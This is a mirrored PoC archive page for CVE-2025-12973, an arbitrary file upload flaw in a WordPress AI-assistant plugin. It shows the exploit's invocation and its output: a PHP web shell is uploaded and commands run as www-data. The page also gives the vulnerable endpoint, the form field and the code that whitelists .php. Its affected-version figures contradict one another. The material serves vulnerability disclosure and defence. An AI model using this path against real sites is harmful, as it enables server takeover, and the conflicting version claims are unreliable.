Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-12973 PoC — S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.8 - Authenticated (Editor+) Arbitrary File

Source
Associated Vulnerability
Title:S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.8 - Authenticated (Editor+) Arbitrary File Upload (CVE-2025-12973)
Description:The S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the storeFile() function in all versions up to, and including, 1.7.8. This makes it possible for authenticated attackers, with Editor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Description
S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload
Readme
# S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload

The WordPress [S2B AI Assistant](https://wordpress.org/plugins/s2b-ai-assistant) plugin (versions 2.47 and prior) contains an arbitrary file upload vulnerability that allows authenticated WordPress users with Editor role or higher to upload malicious PHP files to the server, potentially leading to remote code execution.


## TL;DR Exploits

A POC [CVE-2025-12973.py](./CVE-2025-12973.py) is provided to demonstrate a remote attacker uploading `shell.php` and executing remote code:
```
python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD
[+] Target: http://techcorp.cc
[+] Username: editor
[+] Nonce obtained: a15be47119
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```


## Technical Description

The vulnerability exists in the `Utils.php` file at the `storeFile()` method, which is called by the `/wp-admin/admin-post.php` endpoint with action `s2b_store_chatbot_upload`. The upload functionality uses a custom file extension whitelist that explicitly allows dangerous file types including PHP files. This allows authenticated WordPress users with Editor role or higher to upload arbitrary files, including PHP files that can be executed on the server.

### Attack Path Analysis

**Source**: User input from `$_FILES['s2baia_chatbot_config_database']` ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
**Sink**: `$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)` ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))

The vulnerability occurs because:

1. **Route Registration**: The upload endpoint is registered in [`AdminChatBotController.php`](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/controllers/AdminChatBotController.php#L25).
2. **Controller Access**: The `processAssistantUpload()` method handles the upload request ([line 1103](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/controllers/AdminChatBotController.php#L1103)).
3. **Input Processing**: User-controlled file data from `$_FILES['s2baia_chatbot_config_database']` is directly processed without proper validation.
4. **File Handling**: Only a custom extension whitelist check is applied using `checkAllowedFilesearchExtensions()` ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320)), which explicitly allows `.php` extension ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366)).
5. **File Storage**: Files are saved to `wp-content/uploads/YYYY/MM/`.

### Vulnerable Code Location

**File**: [`lib/helpers/Utils.php`](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php)
**Lines**: [289-348](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L289)

```php
public static function storeFile($targetDir) {
    global $wp_filesystem;

    // Initialize WP_Filesystem
    if (!function_exists('request_filesystem_credentials')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    if (!WP_Filesystem()) {
        return '';
    }

    if (!isset($_FILES) || !is_array($_FILES) || !isset($_FILES['s2baia_chatbot_config_database'])) {  // SOURCE: User input ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
        return '';
    }

    if (!isset($_FILES['s2baia_chatbot_config_database']['error']) || !isset($_FILES['s2baia_chatbot_config_database']['name']) || !isset($_FILES['s2baia_chatbot_config_database']['size']) || !isset($_FILES['s2baia_chatbot_config_database']['tmp_name'])) {
        return '';
    }

    $chunk = isset($_REQUEST["chunk"]) ? (int) $_REQUEST["chunk"] : 0;
    $name = sanitize_file_name($_FILES['s2baia_chatbot_config_database']['name']);
    if (strlen($name) == 0) {
        return '';
    }

    $finfo = pathinfo($name);

    if (is_array($finfo)) {
        $fname = sanitize_file_name($finfo['filename']);
        $fext = $finfo['extension'];
        if (!self::checkAllowedFilesearchExtensions($fext)) {  // Only custom whitelist check ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320))
            return '';
        }
        if ($wp_filesystem->exists($targetDir . DIRECTORY_SEPARATOR . $name)) {
            $timest = time();
            $name = $fname . '_' . $timest . '_' . random_int(1000, 9999) . '.' . $fext;
        }
    }

    $tmp_name = sanitize_text_field($_FILES['s2baia_chatbot_config_database']['tmp_name']);
    $outfile = $targetDir . DIRECTORY_SEPARATOR . $name;

    // Open the output file and write contents using WP_Filesystem
    if ($chunk === 0) {
        $wp_filesystem->put_contents($outfile, '', FS_CHMOD_FILE);
    }

    // Read the temporary file and append its contents to the output file
    $file_content = $wp_filesystem->get_contents($tmp_name);
    if ($file_content === false) {
        return '';
    }

    // Append content to the file
    if (!$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)) {  // SINK: Direct file write ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))
        return '';
    }

    // Delete the temporary file using WordPress method
    // ... rest of function
}
```

**File**: [`lib/helpers/Utils.php`](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php)
**Lines**: [354-383](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L354)

```php
public static function checkAllowedFilesearchExtensions($ext) {
    switch ($ext) {
        case 'c':
        case 'cs':
        case 'cpp':
        case 'doc':
        case 'docx':
        case 'html':
        case 'java':
        case 'json':
        case 'md':
        case 'pdf':
        case 'php':  // Explicitly allows PHP files ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366))
        case 'pptx':
        case 'py':
        case 'rb':
        case 'tex':
        case 'txt':
        case 'css':
        case 'js':
        case 'sh':
        case 'ts':

            return true;

        default:
            return false;
    }
    return false;
}
```
File Snapshot

[4.0K] /data/pocs/22ccf6542ed4a6cb04f0b9f0fdce46e93eeadf6f ├── [3.3K] CVE-2025-12973.py └── [6.5K] README.md 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →